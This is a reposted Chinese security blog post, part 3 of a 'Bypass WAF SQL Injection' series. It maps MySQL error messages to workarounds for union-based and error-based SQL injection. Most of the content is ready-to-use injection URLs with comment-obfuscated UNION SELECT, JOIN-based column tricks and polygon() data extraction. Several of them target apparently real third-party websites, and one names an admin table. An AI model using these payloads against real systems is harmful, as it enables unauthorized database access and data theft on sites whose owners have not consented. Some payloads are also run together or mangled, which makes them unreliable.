系列 | Bypass Waf SQL Injection(3)

admin 2022年5月3日20:08:14评论48 views字数 3224阅读10分44秒阅读模式

01

SQL注入常见错误解决方案



502-BAD GATEWAY

这个错误是块查询并绕过这个错误所需要使用unhex(hex(query))

系列 | Bypass Waf SQL Injection(3)

例子:

http://arashidynamics.com/products_detail.php?id=-52+/*!50000unION*/ +/*!50000SEleCT*/+1,2,unhex(hex(schema_name)),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44+from+/*!information_schema*/.schemata+/*!12345LiMit*/ 1,1--


412 (1054)Unknown column 'xxx' in 'field list'

字段列表中的未知列xxx
通过使用“连接语法”
SQL JOIN
A SQL JOIN结合两个表中的记录。
A JOIN在两个表中查找相关的列值。
A 查询可以包含0个,一个或多个JOIN操作。 
SQL连接子句将来自关系数据库中一个或多个表的列组合在一起。它创建一个可以保存为表格或按照原样使用的集合。JOIN是一种通过使用每个公共的值来组合来自一个或更多表的列的方法。ANSI标准SQL指定了五种类型的JOIN:INNER,LEFT OUTER,RIGHT OUTER,FULL OUTER和CROSS。作为一种特殊情况,表(基表,视图或联接表)可以在自联接中加入自己,ANSI标准SQL指定了五种类型的JOIN:INNER,LEFT OUTER,RIGHT OUTER,FULL OUTER和CROSS。作为一种特殊情况,表(base table,view, or joined table)可以在自联接中加入自己。

SQL JOIN 语法:

&id=10 union select * from (select Column_Number_1)Alias_Name join (selectColumn_Number_2)Alias_Name ETC.
正常实例:
http://testphp.vulnweb.com/listproducts.php?cat=10 union select * from (select 1)a join (select 2)b join (select 3)cjoin (select 4)d join (select 5)e join (select 6)f join (select 7)g join (select 8)h join (select 9)i join (select 10)j join(select version())k %23

Query failed:Unknown column '1' in 'order clause'

这个错误来自使用1的顺序。

例子:

http://www.outsourcing-today.ro/articol.php?id=6642' order by 1 -- -

错误查询失败:Unknown column '1' in 'order clause'这意味着url后面有两个查询,我们不能使用union,所以它可能是两件事情

1、注入点不在SELECT语句中。
2、URL后面有2个查询。


Subquery returns more than 1 row

子查询也可以位于FROM语句中(“inlinesubquery”)或SELECT语句中,但放置在SELECT语句中的查询必须返回单个值。查询的一个必要条件是它只返回一行或以其他方式在外部查询中包含某些关键字。关键字是ANY,ALL,IN或NOT IN。

所以当你看到这个错误意味着你需要限制你的 子查询只有一个结果行+limit+0,1

例子:

www.xxx.com/products.php?catid=101+UNION+SELECT+1,2(select+llitemnumber+from+orders),4,5,6,7--error:error Subquery returns more than 1 rowthe solution will be by using limit 0,1www.xxx.com/products.php?catid=101+UNION+SELECT+1,2,(select+id+from+categories LIMIT 0,1),4,5,6,7--


The Injection Is Before ^ from mode

注入点位于^模式之前

例子:

https://www.tirol-taxi.at/index.php?
系列 | Bypass Waf SQL Injection(3)

系列 | Bypass Waf SQL Injection(3)

当我们看到多个“AS”和“,”时,我们知道注入在“from”之前,注入在“select”和“from”之前,因此我们可以使用I.Q.D方法,直接使用基于联合的查询来直接注入查询。

https://www.tirol-taxi.at/index.php?lID=1,2

系列 | Bypass Waf SQL Injection(3)


The Injection point is after ^ From mode

注入点位于^模式之后

例子:

zeryaboud.com/other.php?page=products1 and 0 union select 1,2,3,4,5,6,7 `&id=28&project=19

系列 | Bypass Waf SQL Injection(3)

zeryaboud.com/other.php?page=products1 where 0 union select 1,version(),3,4,5,6,7 `&id=28&project=19

系列 | Bypass Waf SQL Injection(3)


Operand should contain 1 column(s)

运算数至少包含一个列

当我尝试使用Polygon()从列中提取数据时,出现'Operand should'Operand should contain 1 column ' 内部查询返回两列。

例子:

http://www.soarland.com/CF_Card_Adapter-catalog-41 and polygon((select * from(select * fromC277915_shledlights.snh_base_admin)p)).html

系列 | Bypass Waf SQL Injection(3)

解决方案将通过首先删除*并由1号码取代

select * fromselect 1 fromhttp://www.soarland.com/CF_Card_Adapter-catalog-41 and polygon((select 1 from(select * fromC277915_shledlights.snh_base_admin)p)).html

系列 | Bypass Waf SQL Injection(3)

Error as New Line

行发生错误

例子:

www.purichpublishing.com/?module=swm_ecommerce&page=product_detail&categoryID=3' and 0 unionselect 1,2,3,4,5,6,7-- -

系列 | Bypass Waf SQL Injection(3)

因为这个行的含义只是按照url查询的c列顺序查询,所以这个查询继续一个新行,所以我们不能使用 - ,%23 它与 - %0a相同,并且解决方案将仅通过添加Comment Out Query来进行
http://www.purichpublishing.com/? module=swm_ecommerce&page=product_detail&categoryID=3' and 0 unionselect 1,2,3,4,version(),6,7%60
系列 | Bypass Waf SQL Injection(3)

往期回顾

系列 | Bypass Waf SQL Injection (1)

系列 | Bypass Waf SQL Injection(2)

安利 | 越权漏洞快速探测——Authz

经验分享 | CentOS Linux 安全基线

意义重大的“HW”行动


如有侵权,请联系删除。

系列 | Bypass Waf SQL Injection(3)

扫码关注我们

查看更多精彩内容




原文始发于微信公众号(长风实验室):系列 | Bypass Waf SQL Injection(3)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年5月3日20:08:14
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   系列 | Bypass Waf SQL Injection(3)http://cn-sec.com/archives/959820.html

发表评论

匿名网友 填写信息